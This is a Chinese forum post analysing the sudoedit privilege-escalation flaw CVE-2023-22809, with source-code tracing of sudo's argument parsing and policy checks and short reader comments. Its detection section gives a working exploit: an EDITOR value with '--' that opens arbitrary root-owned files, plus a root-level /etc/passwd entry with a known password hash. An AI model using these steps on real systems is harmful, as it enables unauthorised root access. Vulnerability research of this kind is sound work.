首页
社区
课程
招聘
[原创]CVE-2023-22809 sudo提权漏洞
发表于: 2023-5-16 19:02 34961

[原创]CVE-2023-22809 sudo提权漏洞

2023-5-16 19:02
34961

一、前言

  • 漏洞简介:Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITOR、VISUAL和EDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的“–”参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升(由普通用户到超级用户,即"root")。
  • 漏洞编号:CVE-2023-22809
  • 漏洞等级:高危
  • 漏洞评分:7.8分
  • 影响版本:sudo 1.8.0-sudo 1.9.12p1(sudo>=1.8.0 or sudo <=1.9.12p1)
  • 攻击效果:本地提权

二、环境搭建

使用sudo --version查看当前系统下sudo版本

 

 

若在1.8.0-1.9.12p1范围内,则可以直接用本机环境复现,但是为了便于调试(获取符号信息)我们需要编译一份debug版本的sudo

 

首先到c89K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2K6N6h3c8G2i4K6u0W2N6%4y4Q4x3V1k6V1K9i4y4@1i4K6u0r3M7%4g2V1L8#2)9J5k6o6q4Q4x3X3f1&6i4K6u0W2x3e0u0H3x3g2)9J5k6i4c8S2M7W2)9J5k6h3N6*7i4@1f1@1i4@1t1^5i4K6S2n7i4@1f1^5i4@1u0p5i4@1u0p5i4@1f1#2i4K6W2n7i4@1u0m8i4@1f1#2i4@1q4q4i4K6W2m8i4@1f1%4i4K6R3&6i4K6R3^5i4@1f1$3i4K6W2o6i4@1q4o6i4@1f1%4i4K6W2m8i4K6R3@1M7%4g2V1L8#2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4#2)9^5y4q4!0n7y4W2!0q4y4g2)9&6x3q4)9^5c8g2!0q4y4q4!0n7z5q4)9^5b7W2!0q4z5q4!0n7c8q4!0n7c8q4!0q4y4g2!0m8y4g2!0n7c8q4!0q4y4g2)9&6x3q4)9^5c8g2!0q4y4g2)9&6b7#2!0m8z5q4!0q4y4g2)9^5c8g2)9^5b7W2!0q4y4#2!0n7b7#2!0m8z5g2!0q4y4g2)9^5b7#2)9^5y4g2!0q4y4g2!0m8c8W2!0n7z5g2!0q4y4g2!0n7b7g2)9&6y4q4!0q4y4#2)9&6b7W2!0m8c8g2!0q4y4g2!0n7c8q4)9&6y4g2!0q4y4q4!0n7z5q4)9^5b7W2!0q4y4W2)9^5z5g2!0m8y4#2!0q4z5q4!0m8x3g2)9^5b7#2!0q4y4q4!0n7z5q4)9^5b7W2!0q4y4g2)9^5z5q4)9&6y4#2!0q4y4g2)9&6x3g2!0n7c8q4!0q4y4q4!0n7b7W2!0m8y4q4!0q4c8W2!0n7b7#2)9&6b7b7`.`.

1
2
3
4
wget https://c7cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4#2k6r3!0Q4x3X3g2%4M7H3`.`./dist/sudo-1.9.12p1.tar.gz
tar -zxvf ./sudo-1.9.12p1.tar.gz
cd sudo-1.9.12p1/
./configure && make && make install

编译成功后,我们调试的sudo程序就是有符号信息的了,编译后的sudo 位于/usr/local/bin文件夹内

 

调试过程可能会遇到sudo报错的问题,这个报错是由于gdb没有sudo模式下运行

 

 

然而如果直接sudo gdb,则又不会加载pwndbg插件

 

 

sudo命令不会加载个人配置文件(或者说继承当前的环境变量)而直接运行gdb,使用-E选项将当前环境变量传递给sudo命令就能成功加载pwndbg插件

1
2
sudo -E gdb /usr/local/bin/sudo
sudo -E gdb --args /usr/local/bin/sudo ...

图片描述

三、漏洞检测

搭建好环境后,测试一下漏洞

 

首先创建/etc/test,然后编辑/etc/sudoers,在文件末尾添加(user为攻击者用户名)

1
user ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/test

这一步是为了满足攻击条件,具体原因会在下面分析提到

 

然后在命令行中输入

1
EDITOR='vim -- /path/to/file' sudoedit /etc/test

/path/to/file可以是任意文件,常见的提权有:修改/etc/shadow为空密码(但我本地未能成功,不清楚为啥)、修改/etc/passwd中root为用户名、修改/etc/sudoers规定用户X可以无密码执行任何操作,具体不再赘述

 

以修改/etc/shadow为例

 

先用openssl生成密码

1
2
x@x-virtual-machine:~$ openssl passwd -1 -salt xxx 123
$1$xxx$jTt7t9bGmhywOtQCjcQA.1

然后修改/etc/passwd,添加

1
xxx:$1$xxx$jTt7t9bGmhywOtQCjcQA.1:0:0:root:/root:/bin/bash

最后su xxx 然后输入密码123就可以提权了

 

 

完成提权

四、漏洞分析

先来看漏洞怎么走到触发位置的,首先关注main函数,sudo在main函数中进入parse_args函数解析sudo的启动参数,然后将返回值传入sudo_mode

1
2
3
4
5
6
7
8
9
10
11
12
13
int
main(int argc, char *argv[], char *envp[])
{
    int nargc, status = 0;
    char **nargv, **env_add;
    char **command_info = NULL, **argv_out = NULL, **run_envp = NULL;
    const char * const allowed_prognames[] = { "sudo", "sudoedit", NULL };
    ......
    submit_argv = argv;
    submit_envp = envp;
    sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
        &sudo_settings, &env_add);
}

sudo_mode是parse_args的返回值,根据参数解析相应的模式,这个值决定下面的switch语句中进入哪个分支

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
    struct sudo_settings **settingsp, char ***env_addp)
{
    const char *progname, *short_opts = sudo_short_opts;
    struct option *long_opts = sudo_long_opts;
    struct environment extra_env;
    int mode = 0;                /* what mode is sudo to be run in? */
    int flags = 0;                /* mode flags */
    int valid_flags = DEFAULT_VALID_FLAGS;
    int ch, i;
    char *cp;
    debug_decl(parse_args, SUDO_DEBUG_ARGS);
 
    /* Is someone trying something funny? */
    if (argc <= 0)
        usage();
 
    /* The plugin API includes the program name (either sudo or sudoedit). */
    progname = getprogname();
    sudo_settings[ARG_PROGNAME].value = progname;
 
    /* First, check to see if we were invoked as "sudoedit". */
    if (strcmp(progname, "sudoedit") == 0) {
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
        valid_flags = EDIT_VALID_FLAGS;
        short_opts = edit_short_opts;
        long_opts = edit_long_opts;
    }
    ......
if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) != -1) {
            switch (ch) {
            ......
            case 'E':
                    /*
                     * Optional argument is a comma-separated list of
                     * environment variables to preserve.
                     * If not present, preserve everything.
                     */
                    if (optarg == NULL) {
                        sudo_settings[ARG_PRESERVE_ENVIRONMENT].value = "true";
                        SET(flags, MODE_PRESERVE_ENV);
                    } else {
                        parse_env_list(&extra_env, optarg);
                    }
                    break;
                case 'e':
                    if (mode && mode != MODE_EDIT)
                        usage_excl();
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = EDIT_VALID_FLAGS;
                    break;
            ......
            case 'l':
                    if (mode) {
                        if (mode == MODE_LIST)
                            SET(flags, MODE_LONG_LIST);
                        else
                            usage_excl();
                    }
                    mode = MODE_LIST;
                    valid_flags = LIST_VALID_FLAGS;
                    break;
                    if (!mode) {
        /* Defer -k mode setting until we know whether it is a flag or not */
        if (sudo_settings[ARG_IGNORE_TICKET].value != NULL) {
            if (argc == 0 && !ISSET(flags, MODE_SHELL|MODE_LOGIN_SHELL)) {
                mode = MODE_INVALIDATE;        /* -k by itself */
                sudo_settings[ARG_IGNORE_TICKET].value = NULL;
                valid_flags = 0;
            }
        }
        if (!mode)
            mode = MODE_RUN;                /* running a command */
    }

parse_args首先会检测执行程序名称的长度,如果长度大于4且后四个字母为edit,则将mode设置为MODE_EDIT,然后通过getopt_long函数解析命令行参数以及转换到“sudo_settings”结构体中,这个函数是getopt函数的一个扩展,可以处理长选项和可选参数,返回值是当前选项的字符代码;进入到switch分支,并根据选项设置相应的标志位

长选项(long options)是一种长的命令行标志,通常由两个减号(--)和一个带有描述性名称的单词组成。例如,--file 是一个长选项

长选项通常用于指定程序的一些高级选项,比如输出目录、日志文件、配置文件等。

短选项(short options)是一种用于在命令行中指定程序选项的方式。通常由单个字符组成,并且在前面加上一个破折号(-)。例如,-h 是一个短选项,它可能用于显示程序的帮助信息。

短选项通常用于指定程序的一些基本选项,比如输出格式、日志级别、文件名等。它们通常很容易记忆,因为它们只有一个字符,并且在命令行中很常见。

长选项和短选项通常可以接参数

 

主要关注会在下面的分析或exploit中用到的这几个参数:

  • l:列出当前用户可以使用 sudo 命令执行的命令和参数
  • E:保留当前用户的环境变量执行sudo(通常情况下,sudo命令会重置环境变量)
  • e:以管理员权限打开指定的文件进行编辑,使用sudo -e会将文件的所有权和权限更改为管理员,该命令常用于修改重要的系统配置文件,相当于sudoedit

解析参数和设置模式后返回到main函数,由于sudo_mode已设置为MODE_EDIT,会执行policy_check函数

1
2
3
4
5
6
7
8
9
switch (sudo_mode & MODE_MASK) {
......
case MODE_EDIT:
     case MODE_RUN:
         if (!policy_check(nargc, nargv, env_add, &command_info, &argv_out,
                 &run_envp))
          ......
         /* The close method was called by sudo_edit/run_command. */
         break;

来看看policy_check函数的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static bool
policy_check(int argc, char * const argv[], char *env_add[],
    char **command_info[], char **run_argv[], char **run_envp[])
{
    const char *errstr = NULL;
    int ok;
    debug_decl(policy_check, SUDO_DEBUG_PCOMM);
 
    if (policy_plugin.u.policy->check_policy == NULL) {
        sudo_fatalx(U_("policy plugin %s is missing the \"check_policy\" method"),
            policy_plugin.name);
    }
    ......
}

可以发现他实际上会通过虚表来调用check_policy,这里虚表的载入实际上是通过load_plugins等函数加载函数表到sudoers_policy结构体中,还与sudoers.so有关,具体过程比较复杂,我们可以直接在gdb里下断点到policy_check函数,然后单步步过到这个位置,然后看一下具体是哪个函数

 

 

通过调试发现实际上调用的是sudoers_policy_check函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static int
sudoers_policy_check(int argc, char * const argv[], char *env_add[],
    char **command_infop[], char **argv_out[], char **user_env_out[],
    const char **errstr)
{
    ......
    struct sudoers_exec_args exec_args;
    int ret;
    ......
     if (ISSET(sudo_mode, MODE_EDIT))
        valid_flags = EDIT_VALID_FLAGS;
    else
        SET(sudo_mode, MODE_RUN);
    ......
    exec_args.argv = argv_out;
    exec_args.envp = user_env_out;
    exec_args.info = command_infop;
 
    ret = sudoers_policy_main(argc, argv, 0, env_add, false, &exec_args);
    ......
}

sudoers_policy_check函数将存储命令行参数、用户环境变量和命令信息等放到exec_args结构体中,然后调用sudoers_policy_main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    bool verbose, void *closure)
{
    ......
    validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);
    if (ISSET(validated, VALIDATE_ERROR)) {
        /* The lookup function should have printed an error. */
        goto done;
        }
    ......
     if (ISSET(sudo_mode, MODE_EDIT)) { //拥有sudoedit权限
        char **edit_argv;
        int edit_argc;
        const char *env_editor;
 
        free(safe_cmnd);
        safe_cmnd = find_editor(NewArgc - 1, NewArgv + 1, &edit_argc,
            &edit_argv, NULL, &env_editor);
     ......
}

在sudoers_policy_main函数首先调用sudoers_lookup函数,主要功能是读取sudoers文件的内容并验证用户是否有权限执行命令,这也是此漏洞的攻击条件之一,如果没有权限会无法绕过sudoers_lookup函数。

 

图片描述

 

在解析sudoers文件时,该函数将检查用户是否属于允许执行该命令的用户组,以及该命令是否被列入sudoers文件中。如果用户没有权限执行该命令,则该函数将返回false,否则将返回true,并将命令状态存储在cmnd_status变量中。但是在经过了sudoers_lookup函数的检查后,如果以"-e"模式运行,则调用find_editor函数,这个函数会重写已经检查过的命令。这个逻辑是一个很危险的操作,因为一旦经过了权限验证,所执行的命令就不应当被修改。

 

下面我们看看find_editor函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// plugins/sudoers/editor.c@find_editor()
char *
find_editor(int nfiles, char **files, int *argc_out, char ***argv_out,
 char * const *allowlist, const char **env_editor, bool env_error)
{
 // [...]
     *env_editor = NULL;
     ev[0] = "SUDO_EDITOR";
     ev[1] = "VISUAL";
     ev[2] = "EDITOR";
     for (i = 0; i < nitems(ev); i++) {
         char *editor = getenv(ev[i]);
         if (editor != NULL && *editor != '\0') {
                 *env_editor = editor;
                 editor_path = resolve_editor(editor, strlen(editor), nfiles, files,
argc_out, argv_out, allowlist);

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2023-5-18 19:33 被CatF1y编辑 ,原因: 有一张图贴错位置了
收藏
免费 27
支持
分享
打赏 + 1.00雪花
打赏次数 1 雪花 + 1.00
 
赞赏  wx_余人   +1.00 2023/05/24
最新回复 (15)
雪    币: 1217
活跃值: (3382)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
2
猫哥我的神
2023-5-16 19:06
0
雪    币: 221
活跃值: (393)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
手机为啥复现不了cve啊,猫哥教我
2023-5-16 19:22
0
雪    币: 15033
活跃值: (18246)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
4
感谢分享
2023-5-19 16:48
0
雪    币: 1651
活跃值: (1425)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
5
能在安卓手机获取root权限吗?
2023-5-20 14:30
0
雪    币: 164
活跃值: (8789)
能力值: ( LV13,RANK:438 )
在线值:
发帖
回帖
粉丝
6
猫哥我的神
2023-5-20 15:32
0
雪    币: 3984
活跃值: (31431)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
感谢分享
2023-5-20 16:13
1
雪    币: 1221
活跃值: (1172)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
8
猫哥我的神
2023-5-21 10:23
0
雪    币: 2267
活跃值: (1553)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
9
lxsgbin 能在安卓手机获取root权限吗?
这个没试过
2023-5-21 16:57
0
雪    币: 1651
活跃值: (1425)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
10
手机没有sudo程序,我没发现
2023-5-21 17:15
0
雪    币: 4
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
11

感谢分享

最后于 2023-5-24 20:29 被偏安一隅编辑 ,原因:
2023-5-24 20:23
0
雪    币: 277
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
12
2023-5-25 09:24
1
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
13
大佬 研究一下android行吗
2023-5-29 02:10
0
雪    币: 262
活跃值: (763)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
14
2024-2-1 10:59
0
雪    币: 31
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
15
大佬,看了下流程,请问是要有sudo权限并且输入密码才可以吧
2024-3-22 11:08
0
游客
登录 | 注册 方可回帖
返回